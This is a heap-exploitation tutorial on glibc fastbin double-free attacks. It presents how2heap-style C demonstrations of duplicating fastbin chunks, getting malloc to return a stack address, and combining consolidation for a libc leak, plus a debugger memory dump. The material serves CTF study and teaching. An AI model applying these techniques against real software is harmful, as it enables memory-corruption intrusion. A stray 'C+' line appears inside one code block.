# Fast Bin Attack

Here are a list of key properties of FastBins

* Single Linked List - LIFO&#x20;
* 10 bins, sizes of 8 bytes to 80 bytes
* Two Adjacent Freed FastBins will not consolidate
* FD and BK pointers point to the next and previous chunk respectively

So what happens if we perform a double free on a FastBin chunk? Let's look at this example by [how2heap](https://wargames.ret2.systems/level/how2heap_fastbin_dup_2.34)

{% tabs %}
{% tab title="C++" %}

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

```

{% endtab %}
{% endtabs %}

1. First we allocate 3 FastBin Chunks
2. We then follow up with a double free with a alternate chunk in the middle so as to not trigger `malloc(): memory corruption (fast)`
3. Our fastbin free list is now circular and if we allocate three times more with the same size, `malloc` returns the same fastbin address twice!

We can leverage this to allow malloc to return a arbitrary pointer address to the stack or heap by utilizing `UAF` to change the `fd` pointer of the duped fastbin chunk to an address that we want.

{% tabs %}
{% tab title="C++" %}

```cpp
#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
C+
```

{% endtab %}
{% endtabs %}

Something to take note of here is to ensure that the fake chunk that `fd` is pointing to must have a valid chunk size.

<pre class="language-bash"><code class="lang-bash">wdb> x/10gx 0x7ffee712dd78-0x10
0x7ffee712dd68: 0x000000000040096d    <a data-footnote-ref href="#user-content-fn-1">0x0000000000000020</a>
0x7ffee712dd78: 0x0000000002564010    0x0000000002564030
0x7ffee712dd88: 0x0000000002564050    0x0000000002564010
0x7ffee712dd98: 0x7819c9bf4ede0e00    0x0000000000400990
0x7ffee712dda8: 0x00007f095da82830    0x00007ffee712de88
</code></pre>

This can be combined with heap consolidation via unsorted bin to get a libc leak.

{% tabs %}
{% tab title="C++" %}

```cpp
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "Now free p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

```

{% endtab %}
{% endtabs %}

We can see that the last two `malloc` calls return the same pointer to p1 which has been consolidated with the large chunk allocated. If we have a `UAF` on p1, we can potentially get a libc leak via `main_arena+88`.

[^1]: Fake Chunk Size
